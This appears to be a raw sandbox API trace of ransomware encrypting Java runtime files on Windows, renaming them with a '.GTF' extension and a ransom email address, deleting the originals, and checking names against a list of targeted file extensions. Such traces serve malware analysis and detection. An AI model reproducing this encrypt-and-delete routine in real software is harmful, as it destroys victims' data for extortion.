	[0162.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.597] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.597] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.598] GetLastError () returned 0x0
	[0162.598] ReadFile (in: hFile=0x45c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2899, lpOverlapped=0x0) returned 1
	[0162.599] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x28a0, lpOverlapped=0x0) returned 1
	[0162.600] ReadFile (in: hFile=0x45c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.600] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0162.601] SetEndOfFile (hFile=0x540) returned 1
	[0162.601] CloseHandle (hObject=0x540) returned 1
	[0162.601] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.601] SetEndOfFile (hFile=0x45c) returned 1
	[0162.603] CloseHandle (hObject=0x45c) returned 1
	[0162.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.604] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1
	[0162.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.604] lstrlenW (lpString=".doc") returned 4
	[0162.604] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.604] lstrlenW (lpString=".docx") returned 5
	[0162.604] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.604] lstrlenW (lpString=".pdf") returned 4
	[0162.604] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.604] lstrlenW (lpString=".xls") returned 4
	[0162.604] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.604] lstrlenW (lpString=".xlsx") returned 5
	[0162.604] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.604] lstrlenW (lpString=".ppt") returned 4
	[0162.604] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString=".zip") returned 4
	[0162.605] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".rar") returned 4
	[0162.605] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".bz2") returned 4
	[0162.605] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".7z") returned 3
	[0162.605] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString=".dbf") returned 4
	[0162.605] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString=".1cd") returned 4
	[0162.605] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString=".jpg") returned 4
	[0162.605] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString=".doc") returned 4
	[0162.605] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".docx") returned 5
	[0162.605] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.605] lstrlenW (lpString=".pdf") returned 4
	[0162.605] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".xls") returned 4
	[0162.605] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".xlsx") returned 5
	[0162.605] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.605] lstrlenW (lpString=".ppt") returned 4
	[0162.605] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.605] lstrlenW (lpString=".zip") returned 4
	[0162.605] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".rar") returned 4
	[0162.605] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.605] lstrlenW (lpString=".bz2") returned 4
	[0162.606] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.606] lstrlenW (lpString=".7z") returned 3
	[0162.606] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.606] lstrlenW (lpString=".dbf") returned 4
	[0162.606] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.606] lstrlenW (lpString=".1cd") returned 4
	[0162.606] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0162.606] lstrlenW (lpString=".jpg") returned 4
	[0162.606] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.606] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0162.606] lstrlenW (lpString="resources.jar") returned 13
	[0162.606] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.606] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3492573) returned 1
	[0162.606] CloseHandle (hObject=0x45c) returned 1
	[0162.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20
	[0162.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.988] lstrlenW (lpString=".doc") returned 4
	[0162.988] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.988] lstrlenW (lpString=".docx") returned 5
	[0162.988] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0162.988] lstrlenW (lpString=".pdf") returned 4
	[0162.988] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.988] lstrlenW (lpString=".xls") returned 4
	[0162.988] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.988] lstrlenW (lpString=".xlsx") returned 5
	[0162.988] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0162.988] lstrlenW (lpString=".ppt") returned 4
	[0162.988] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.988] lstrlenW (lpString=".zip") returned 4
	[0162.988] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.988] lstrlenW (lpString=".rar") returned 4
	[0162.988] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.988] lstrlenW (lpString=".bz2") returned 4
	[0162.988] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.988] lstrlenW (lpString=".7z") returned 3
	[0162.988] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.988] lstrlenW (lpString=".dbf") returned 4
	[0162.988] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.988] lstrlenW (lpString=".1cd") returned 4
	[0162.988] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString=".jpg") returned 4
	[0162.989] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString=".doc") returned 4
	[0162.989] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.989] lstrlenW (lpString=".docx") returned 5
	[0162.989] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0162.989] lstrlenW (lpString=".pdf") returned 4
	[0162.989] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.989] lstrlenW (lpString=".xls") returned 4
	[0162.989] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.989] lstrlenW (lpString=".xlsx") returned 5
	[0162.989] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0162.989] lstrlenW (lpString=".ppt") returned 4
	[0162.989] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString=".zip") returned 4
	[0162.989] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.989] lstrlenW (lpString=".rar") returned 4
	[0162.989] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.989] lstrlenW (lpString=".bz2") returned 4
	[0162.989] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.989] lstrlenW (lpString=".7z") returned 3
	[0162.989] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString=".dbf") returned 4
	[0162.989] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString=".1cd") returned 4
	[0162.989] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0162.989] lstrlenW (lpString=".jpg") returned 4
	[0162.989] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.990] lstrcmpiW (lpString1=".policy", lpString2=".GTF") returned 1
	[0162.990] lstrlenW (lpString="java.policy") returned 11
	[0162.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.991] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2466) returned 1
	[0162.991] CloseHandle (hObject=0x504) returned 1
	[0162.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20
	[0162.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.992] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.992] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.992] GetLastError () returned 0x0
	[0162.992] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x9a2, lpOverlapped=0x0) returned 1
	[0162.994] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0162.995] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.995] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xea, lpOverlapped=0x0) returned 1
	[0162.995] SetEndOfFile (hFile=0x530) returned 1
	[0162.995] CloseHandle (hObject=0x530) returned 1
	[0162.995] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.995] SetEndOfFile (hFile=0x504) returned 1
	[0162.998] CloseHandle (hObject=0x504) returned 1
	[0162.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.998] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1
	[0162.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0162.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0162.999] lstrlenW (lpString=".doc") returned 4
	[0162.999] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0162.999] lstrlenW (lpString=".docx") returned 5
	[0162.999] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0162.999] lstrlenW (lpString=".pdf") returned 4
	[0162.999] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0162.999] lstrlenW (lpString=".xls") returned 4
	[0162.999] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0162.999] lstrlenW (lpString=".xlsx") returned 5
	[0162.999] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0162.999] lstrlenW (lpString=".ppt") returned 4
	[0162.999] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0162.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0162.999] lstrlenW (lpString=".zip") returned 4
	[0162.999] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0162.999] lstrlenW (lpString=".rar") returned 4
	[0162.999] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".bz2") returned 4
	[0163.000] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".7z") returned 3
	[0163.000] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0163.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.000] lstrlenW (lpString=".dbf") returned 4
	[0163.000] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.000] lstrlenW (lpString=".1cd") returned 4
	[0163.000] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.000] lstrlenW (lpString=".jpg") returned 4
	[0163.000] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.000] lstrlenW (lpString=".doc") returned 4
	[0163.000] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".docx") returned 5
	[0163.000] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0163.000] lstrlenW (lpString=".pdf") returned 4
	[0163.000] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".xls") returned 4
	[0163.000] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".xlsx") returned 5
	[0163.000] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0163.000] lstrlenW (lpString=".ppt") returned 4
	[0163.000] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.000] lstrlenW (lpString=".zip") returned 4
	[0163.000] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".rar") returned 4
	[0163.000] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".bz2") returned 4
	[0163.000] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0163.000] lstrlenW (lpString=".7z") returned 3
	[0163.001] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0163.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.001] lstrlenW (lpString=".dbf") returned 4
	[0163.001] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0163.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.001] lstrlenW (lpString=".1cd") returned 4
	[0163.001] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0163.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0163.001] lstrlenW (lpString=".jpg") returned 4
	[0163.001] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0163.001] lstrcmpiW (lpString1=".security", lpString2=".GTF") returned 1
	[0163.001] lstrlenW (lpString="java.security") returned 13
	[0163.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.001] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=36524) returned 1
	[0163.002] CloseHandle (hObject=0x504) returned 1
	[0163.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20
	[0163.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.002] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.002] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0163.003] GetLastError () returned 0x0
	[0163.003] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x8eac, lpOverlapped=0x0) returned 1
	[0163.066] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8eb0, lpOverlapped=0x0) returned 1
	[0163.068] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.068] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1
	[0163.068] SetEndOfFile (hFile=0x530) returned 1
	[0163.068] CloseHandle (hObject=0x530) returned 1
	[0163.068] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.068] SetEndOfFile (hFile=0x504) returned 1
	[0163.071] CloseHandle (hObject=0x504) returned 1
	[0163.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.071] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1
	[0163.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.072] lstrlenW (lpString=".doc") returned 4
	[0163.072] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0163.072] lstrlenW (lpString=".docx") returned 5
	[0163.072] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0163.072] lstrlenW (lpString=".pdf") returned 4
	[0163.072] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0163.072] lstrlenW (lpString=".xls") returned 4
